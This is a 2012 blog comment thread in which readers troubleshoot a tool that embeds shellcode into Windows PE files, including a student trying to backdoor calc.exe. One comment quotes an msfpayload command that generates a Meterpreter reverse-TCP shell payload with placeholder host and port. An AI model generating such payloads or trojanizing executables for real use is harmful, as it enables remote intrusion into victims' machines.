Comments for Unintended Results http://joxeankoret.com/blog Or maybe not Wed, 16 May 2012 06:40:59 +0000 hourly 1 http://wordpress.org/?v=3.3.2 Comment on Embedding a shellcode in a PE file by joxean http://joxeankoret.com/blog/2012/05/06/embedding-a-shellcode-in-a-pe-file/comment-page-1/#comment-485 joxean Wed, 16 May 2012 06:40:59 +0000 http://joxeankoret.com/blog/?p=507#comment-485 Well, sorry but "still not working" is not a helpful comment. Did you tried to put a 0xCC byte at the very beginning of your shellcode and launch the generated PE file under a debugger like IDA or OllyDbg to see what's happening? What exception are you getting? Well, sorry but “still not working” is not a helpful comment. Did you tried to put a 0xCC byte at the very beginning of your shellcode and launch the generated PE file under a debugger like IDA or OllyDbg to see what’s happening? What exception are you getting?

]]> Comment on Embedding a shellcode in a PE file by Anonymous http://joxeankoret.com/blog/2012/05/06/embedding-a-shellcode-in-a-pe-file/comment-page-1/#comment-484 Anonymous Tue, 15 May 2012 23:25:56 +0000 http://joxeankoret.com/blog/?p=507#comment-484 Still not working how did you genarated the shellcode ? thanks Still not working

how did you genarated the shellcode ?

thanks

]]> Comment on Embedding a shellcode in a PE file by joxean http://joxeankoret.com/blog/2012/05/06/embedding-a-shellcode-in-a-pe-file/comment-page-1/#comment-483 joxean Mon, 14 May 2012 18:41:54 +0000 http://joxeankoret.com/blog/?p=507#comment-483 One note: The best thing you can do to debug it is to insert a 0xCC (int 3) at the start of your shellcode and launch in under a debugger to be absolutely sure it's working. And one more note: The generated binary may fail at runtime *if* the scripts tries to patch a function whose body is smaller than the shellcode *and* the other overwritten functions is called before the one selected by the script. That's: if the shellcode overwrites other functions as well, it's very likely to crash at runtime. One note: The best thing you can do to debug it is to insert a 0xCC (int 3) at the start of your shellcode and launch in under a debugger to be absolutely sure it’s working.

And one more note: The generated binary may fail at runtime *if* the scripts tries to patch a function whose body is smaller than the shellcode *and* the other overwritten functions is called before the one selected by the script. That’s: if the shellcode overwrites other functions as well, it’s very likely to crash at runtime.

]]> Comment on Embedding a shellcode in a PE file by joxean http://joxeankoret.com/blog/2012/05/06/embedding-a-shellcode-in-a-pe-file/comment-page-1/#comment-482 joxean Mon, 14 May 2012 18:38:09 +0000 http://joxeankoret.com/blog/?p=507#comment-482 There was a bug in my code: the section permissions were not correctly changed. I fixed the bugs in the latest version: http://code.google.com/p/pyew/source/detail?r=1965ca299354ef02acad124daf83ff8f7ea7e8da There was a bug in my code: the section permissions were not correctly changed. I fixed the bugs in the latest version: http://code.google.com/p/pyew/source/detail?r=1965ca299354ef02acad124daf83ff8f7ea7e8da

]]> Comment on Embedding a shellcode in a PE file by Anonymous http://joxeankoret.com/blog/2012/05/06/embedding-a-shellcode-in-a-pe-file/comment-page-1/#comment-481 Anonymous Mon, 14 May 2012 01:42:48 +0000 http://joxeankoret.com/blog/?p=507#comment-481 Same problem here. Just tried many shellcodes on diferente PE files and it crashs at runtime or simply do not execute the shellcode. :( Same problem here. Just tried many shellcodes on diferente PE files and it crashs at runtime or simply do not execute the shellcode. :(

]]> Comment on Embedding a shellcode in a PE file by xer http://joxeankoret.com/blog/2012/05/06/embedding-a-shellcode-in-a-pe-file/comment-page-1/#comment-480 xer Sun, 13 May 2012 12:18:09 +0000 http://joxeankoret.com/blog/?p=507#comment-480 Hi, Thank you for sharing this very interesting . I Student and I try to embed Shellcode CMD/EXE in Calc.exe . I think the problem comes from the file formatting shellcode.sc . You can give a exemple for the shellcode.sc . (appreciate) excuse me for my bad english Cordialement. Hi,
Thank you for sharing this very interesting . I Student and I try to embed Shellcode CMD/EXE in Calc.exe .
I think the problem comes from the file formatting shellcode.sc .
You can give a exemple for the shellcode.sc . (appreciate)
excuse me for my bad english
Cordialement.

]]> Comment on Embedding a shellcode in a PE file by ert http://joxeankoret.com/blog/2012/05/06/embedding-a-shellcode-in-a-pe-file/comment-page-1/#comment-478 ert Thu, 10 May 2012 19:09:41 +0000 http://joxeankoret.com/blog/?p=507#comment-478 how did you genarated the shellcode ? I have tryed msfpayload windows/meterpreter/reverse_tcp LHOST=xxx LPORT=xxx C > sh.sc but not sucseed how did you genarated the shellcode ?
I have tryed
msfpayload windows/meterpreter/reverse_tcp LHOST=xxx LPORT=xxx C > sh.sc but not sucseed

]]> Comment on Embedding a shellcode in a PE file by joxean http://joxeankoret.com/blog/2012/05/06/embedding-a-shellcode-in-a-pe-file/comment-page-1/#comment-477 joxean Wed, 09 May 2012 08:06:23 +0000 http://joxeankoret.com/blog/?p=507#comment-477 I mean from here: http://code.google.com/p/pyew/source/checkout I mean from here: http://code.google.com/p/pyew/source/checkout

]]> Comment on Embedding a shellcode in a PE file by AnonymousSR http://joxeankoret.com/blog/2012/05/06/embedding-a-shellcode-in-a-pe-file/comment-page-1/#comment-476 AnonymousSR Wed, 09 May 2012 07:58:09 +0000 http://joxeankoret.com/blog/?p=507#comment-476 Mercurial’s repository ??? Did you mean "http://code.google.com/p/pyew" thanks Mercurial’s repository ???
Did you mean “http://code.google.com/p/pyew”
thanks

]]> Comment on Embedding a shellcode in a PE file by Anonymous http://joxeankoret.com/blog/2012/05/06/embedding-a-shellcode-in-a-pe-file/comment-page-1/#comment-472 Anonymous Mon, 07 May 2012 13:34:05 +0000 http://joxeankoret.com/blog/?p=507#comment-472 Fixed. Thank you! Fixed. Thank you!

]]>